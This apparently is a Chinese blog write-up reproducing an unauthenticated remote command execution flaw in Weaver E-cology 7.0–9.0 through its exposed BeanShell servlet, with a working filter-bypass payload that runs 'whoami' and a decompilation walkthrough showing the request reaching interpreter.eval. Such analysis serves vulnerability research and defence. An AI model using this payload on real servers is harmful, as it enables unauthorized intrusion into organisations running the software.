漏洞復現
影響版本:
E-cology 7.0
E-cology 8.0
E-cology 8.1
E-cology 9.0
直接在網站根目錄后加入組件訪問路徑 /weaver/bsh.servlet.BshServlet/,如下圖執行了命令“whoami”

繞過方式:
1.unicode編碼

2.字符串拼接
bsh.script=eval%00("ex"%2b"ec(bsh.httpServletRequest.getParameter(\"command\"))");&bsh.servlet.captureOutErr=true&bsh.servlet.output=raw&command=whoami

漏洞分析
漏洞出現在e-cology的組件beanshell上,由於beanshell這個接口可被未授權訪問,同時這個接口在接受用戶請求時未進行相應過濾,最終導致遠程命令執行
那beanshell是什么呢?
簡單說,就是一個微型的java解釋器,可嵌入到其他程序中,用於動態的執行java代碼,類似於csharp中的動態編譯特性,我們通過一個例子來了解beanshell,如下圖:
- 實例化Interpreter類
- eval()函數用於動態的執行java代碼

除了eval函數,還有其他函數可以動態執行字符串

使用jadx反編譯jar包,由於訪問的組件路徑為/weaver/bsh.servlet.BshServlet/,所以我們先查看一下類bsh.servlet.BshServlet,如下圖

網站是post提交數據,所以我們查看doPost函數,發現只是執行了doGet函數:

跟蹤doGet:
httpServletRequest.getParameter("bsh.script");參數為傳入的值,賦值給了parameter

跟蹤parameter,傳入了evalScript函數:

跟蹤evalScript函數:

直接調用interpreter.eval進行了代碼執行

interpreter是Interpreter實例化的類

文中用到的工具
bsh-2.0b4.jar
鏈接:https://pan.baidu.com/s/1U3bYIgNlSgrfkhWovfx3CQ
jadx-gui-1.0.0.exe
鏈接:https://pan.baidu.com/s/1KVjwo7dIB4kS8LXwUI4zkA
獲取提取碼關注公眾號底下菜單點擊提取碼
參考:https://xz.aliyun.com/t/6560
歡迎關注我的公眾號啦!
